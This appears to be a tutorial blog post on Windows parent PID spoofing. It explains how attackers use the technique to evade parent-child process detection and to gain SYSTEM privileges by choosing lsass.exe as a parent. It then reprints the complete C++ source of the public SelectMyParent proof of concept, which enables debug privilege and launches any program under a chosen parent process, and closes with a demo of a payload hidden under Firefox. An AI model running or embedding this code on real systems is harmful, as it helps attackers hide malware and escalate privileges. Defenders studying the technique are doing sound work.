Parent PID Spoofing

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via Visual Basic within malicious Office document or any code that can perform Native API.
Explicitly assigning PPID mal also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (ie. Administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.
Example:
This technique was introduced by Didier Stevesn. A proof of Concept was was written in C++ it was released to the public (SelectMyParent) that could allow the user to select the parent process by specifying the PID (process identifier). The "CreateProcess" function was used in conjunction with the "STARTUPINFOEX" and "LPROC_Thread_ATTRIBUTE_LIST".
At a high level the tool wil create a process then give it the parent PID of our choosing this works because, when using STARTUPINFOEX with the right LPPROC_THREAD_ATTRIBUTE_LIST to create a process, you can arbitrarely specify the parent process, provided you have the rights (i.e. it’s your process or you have debug rights).
This will open the process PID and grab it's handle.
hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
Move onto applying the attributes we have specified
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
Then finally updating and pushing them with UpdateProcThreadAttribute
UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)
Here is the complete code
/*
SelectMyParent: start a program and select its parent process
Source code put in public domain by Didier Stevens, no Copyright
https://DidierStevens.com
Use at your own risk
​
Shortcomings, or todo's ;-)
- Is missing error handling
History:
2009/11/22: Start development
*/
​
#include "stdafx.h"
​
#include <windows.h>
​
void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError)
{
HLOCAL hlErrorMessage = NULL;
if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR) &hlErrorMessage, 0, NULL))
{
_tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR) LocalLock(hlErrorMessage));
LocalFree(hlErrorMessage);
}
}
​
BOOL CurrentProcessAdjustToken(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES sTP;
​
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid))
{
CloseHandle(hToken);
return FALSE;
}
sTP.PrivilegeCount = 1;
sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL))
{
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
return FALSE;
}
​
int _tmain(int argc, _TCHAR* argv[])
{
STARTUPINFOEX sie = {sizeof(sie)};
PROCESS_INFORMATION pi;
SIZE_T cbAttributeListSize = 0;
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
HANDLE hParentProcess = NULL;
DWORD dwPid = 0;
​
_putts(TEXT("SelectMyParent v0.0.0.1: start a program with a selected parent process"));
_putts(TEXT("Source code put in public domain by Didier Stevens, no Copyright"));
_putts(TEXT("https://DidierStevens.com"));
_putts(TEXT("Use at your own risk\n"));
if (argc != 3)
_putts(TEXT("usage: SelectMyParent program pid"));
else
{
dwPid = _tstoi(argv[2]);
if (0 == dwPid)
{
_putts(TEXT("Invalid pid"));
return 0;
}
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
if (NULL == pAttributeList)
{
DisplayErrorMessage(TEXT("HeapAlloc error"), GetLastError());
return 0;
}
if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize))
{
DisplayErrorMessage(TEXT("InitializeProcThreadAttributeList error"), GetLastError());
return 0;
}
CurrentProcessAdjustToken();
hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hParentProcess)
{
DisplayErrorMessage(TEXT("OpenProcess error"), GetLastError());
return 0;
}
if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
{
DisplayErrorMessage(TEXT("UpdateProcThreadAttribute error"), GetLastError());
return 0;
}
sie.lpAttributeList = pAttributeList;
if (!CreateProcess(NULL, argv[1], NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie.StartupInfo, &pi))
{
DisplayErrorMessage(TEXT("CreateProcess error"), GetLastError());
return 0;
}
_tprintf(TEXT("Process created: %d\n"), pi.dwProcessId);
DeleteProcThreadAttributeList(pAttributeList);
CloseHandle(hParentProcess);
}
​
return 0;
}
​
Here is a sample of the Demo working
As you can see the payload in now a child process of Firefox with the PID 2696.
We also have another tool from Julian Horoszkiewics which is based of the work of Didier and we can verify the same goal was reached when spoofing our Parent Process. This is achieved through the CreateProcess API